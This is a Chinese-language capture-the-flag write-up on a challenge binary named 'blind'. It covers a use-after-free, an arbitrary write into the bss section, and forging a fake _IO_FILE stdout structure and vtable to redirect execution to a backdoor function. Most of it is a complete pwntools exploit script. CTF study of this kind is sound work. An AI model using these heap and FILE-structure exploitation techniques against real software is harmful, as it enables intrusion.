怀着学习的心态就看了两道题(都有点难
很明显的uaf漏洞,但是开了RELRO,而且泄漏不了地址,但是可以利用uaf往bss段分配达到任意地址写,然后就没思路了
new(0,'aaaa')
new(1,'bbbb')
new(2,'cccc')
release(0)
release(1)
change(1,p64(0x60201d) + '\n') #1 --> 0
#gdb.attach(p)
new(3,'aaaa')
system_addr = 0x00000000004008E3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)
赛后请教了(膜)charlie师傅知道才知道要用伪造_IO_FILE结构体的操作做,由于可以在bss段上任意写,所以修改ptr为bss地址,并在bss上伪造stdout的_IO_FILE结构体并伪造一个vtable将原本printf的虚表地址变成后门地址,让stdout地址指向这个结构体,当调用到vtable就可以执行后门函数,_IO_FILE的知识可以参考https://ctf-wiki.github.io/ctf-wiki/pwn/io_file/introduction/
但还有一个细节的地方,这里伪造的时候flag要更改,理由是charlie师傅告诉我的,要绕过两个校验,这里直接引用charlie师傅的wp,可以ida查看一下libc的vprintf函数实现过程那里
所以我们的flag要满足
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
所以flag可以有很多值,例如0xfbad8080,0xfbad8000等
最后完整exp:
from pwn import *
context.log_level = 'debug'
p = process('./blind.')
def new(index,content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
def change(index,content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(content)
def release(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
new(0,'aaaa')
new(1,'bbbb')
new(2,'cccc')
release(0)
release(1)
change(1,p64(0x60201d) + '\n') #1 --> 0
#gdb.attach(p)
new(3,'aaaa')
system_addr = 0x00000000004008E3
payload = 'aaa' + 'a'*0x30
payload += p64(0x602020) + p64(0x602090) + p64(0x602090 + 0x68)
payload += p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
new(4,payload)
#fake _IO_FILE
#index1
payload = p64(0x00000000fbad8000) + p64(0x602060)*7
payload += p64(0x602061) + p64(0)*4
change(1,payload)
#index2
payload = p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0)
payload += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060)
payload += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)
change(2,payload)
#index3
payload = p64(0) + p64(0x602090 + 0x68*3) + '\n'
change(3,payload)
#fake vtable
#index 4
payload = 'a'*56 + p64(system_addr) + '\n'
change(4,payload)
#modify stdout --> fake _IO_FILE
#index 0
payload = p64(0x602090) + '\n'
change(0,payload)
#gdb.attach(p)
p.interactive()